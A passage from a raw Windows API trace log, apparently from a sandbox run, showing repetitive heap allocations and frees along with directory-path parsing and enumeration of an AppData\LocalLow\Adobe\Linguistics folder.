lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.865] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.865] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.865] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.865] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.865] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.865] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.865] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.865] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.865] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.865] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.865] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.865] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.865] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.865] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.865] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.865] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.865] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.865] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.865] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.865] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.865] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.865] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.865] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.865] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.865] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.865] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.865] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.866] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.866] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.866] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.866] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.866] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.866] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.866] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.866] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.866] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.866] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.866] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.866] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.866] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.866] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.866] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.866] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.866] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.866] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.866] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.866] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.866] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.866] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.866] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.866] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.866] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.866] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.866] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.866] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.866] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.866] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.866] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.866] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.866] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.866] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.867] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.867] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.867] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.867] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.867] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.867] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.867] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.867] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.867] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.867] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.867] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.867] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.867] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.867] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.867] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.867] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.867] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.867] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.867] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.867] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.867] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.867] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.867] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.867] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.867] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.867] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.867] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.867] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.867] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.867] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.867] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.867] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.867] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.868] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.868] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.868] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.868] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.868] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.868] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.868] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.868] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.868] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.868] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.868] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.868] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.868] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.868] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.868] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.868] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.868] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.868] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.868] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.868] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.868] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.868] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.868] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.868] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.868] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.868] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.868] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.868] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.868] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.868] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.868] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.868] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.868] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.869] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.869] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.869] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.869] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.869] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.869] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.869] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.869] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.869] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.869] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.869] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.869] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.869] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.869] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.869] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.869] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.869] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.869] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.869] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.869] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.869] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.869] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.869] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.869] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.869] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.869] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.869] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.869] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.869] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.869] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.869] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.869] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0114.869] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba418 [0114.870] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d630 [0114.870] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.870] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0114.870] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.870] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326d630 | out: hHeap=0x660000) returned 1 [0114.870] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.870] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326e0d0 [0114.870] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.870] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.870] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0114.870] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326e0d0 | out: hHeap=0x660000) returned 1 [0114.870] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.870] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0114.870] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba418 | out: hHeap=0x660000) returned 1 [0114.870] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba418 [0114.870] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0114.870] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.870] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba418 | out: hHeap=0x660000) returned 1 [0114.870] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.870] PathFindFileNameW (pszPath="") returned="" [0114.870] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.870] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0114.870] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33211d0 | out: hHeap=0x660000) returned 1 [0114.870] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.870] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 1 [0114.870] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320330 [0114.871] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0114.871] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x38) returned 0x32a6888 [0114.871] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33211d0 [0114.871] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.871] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0114.871] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33203d8 [0114.871] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0114.871] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320330 | out: hHeap=0x660000) returned 1 [0114.871] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 0 [0114.871] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0114.871] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0114.871] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321138 | out: hHeap=0x660000) returned 1 [0114.871] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0114.871] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320330 [0114.871] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0114.871] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0114.871] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.871] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.871] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0114.871] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0114.871] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.871] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.871] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0114.871] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0114.871] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.871] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.871] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0114.871] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0114.871] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.871] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.872] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0114.872] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0114.872] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.872] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.872] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0114.872] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0114.872] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.872] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.872] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0114.872] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0114.872] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.872] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0114.872] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.872] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.872] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0114.872] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x33201e0 [0114.872] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.872] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.872] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33201e0 | out: hHeap=0x660000) returned 1 [0114.872] 